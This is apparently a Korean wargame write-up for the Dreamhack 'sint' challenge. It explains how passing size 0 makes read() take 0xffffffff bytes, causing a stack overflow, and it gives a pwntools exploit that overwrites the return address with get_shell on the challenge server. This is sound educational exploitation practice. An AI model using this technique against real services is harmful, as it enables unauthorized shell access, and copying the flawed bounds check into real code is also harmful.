Prob
이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, "flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Analysis
바이너리와 함께 소스코드를 제공하므로 디컴파일러를 사용할 필요 없이 소스코드 분석을 통해 취약점을 찾는다. 문제에서 제공되는 소스코드는 아래와 같다.
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
다른 문제와 마찬가지로 get_shell( ) 함수를 실행시켜 쉘을 획득하고 플래그를 획득하는 문제이다. read( ) 함수를 통해 사용자 입력을 받는 형태로 보아 버퍼 오버플로우를 일으켜야 하는 문제로 보이며, 읽을 데이터의 길이를 지정할 수 있다.
if 문을 통해 입력받을 길이를 제한하나, C를 어느정도 공부한 사람은 취약점이 존재한다는 것을 한 눈에 알 수 있다. 먼저 read( ) 함수의 원형은 아래와 같다.
ssize_t read(int fd, void *buf, size_t nbytes);
여기서 size_t 자료형은 부호 없는 정수를 의미하며, 어떤 객체나 값이 포함될 수 있는 최대 크기를 의미한다. 물론 실제 데이터 형은 아니지만 대개 unsigned int 자료형을 사용한다. 상기 코드에서 입력 받는 데이터의 사이즈로 size - 1 을 지정한다.
만약 size의 값이 0이 될 경우 read( ) 함수의 인자인 size - 1은 음수를 표현할 수 없으므로, 정수 오버플로우에 의해 값이 4,294,967,295가 되며 이로 인해 버퍼 오버플로우가 발생한다.
실제로 위의 그림과 같이 nbytes의 값이 0xffffffff가 된 것을 확인할 수 있다.
따라서 Size 입력에 0을 집어 넣고, 버퍼 오버플로우 취약점을 일으켜 쉘을 획득하면 될 것으로 보인다.
from pwn import*
context.log_level = 'debug'
elf = ELF("./sint")
p = remote('host1.dreamhack.games', 18796)
payload = b'A'*260
payload += p32(elf.symbols['get_shell'])
p.sendlineafter('Size: ', b'0')
p.sendlineafter('Data: ', payload)
p.interactive()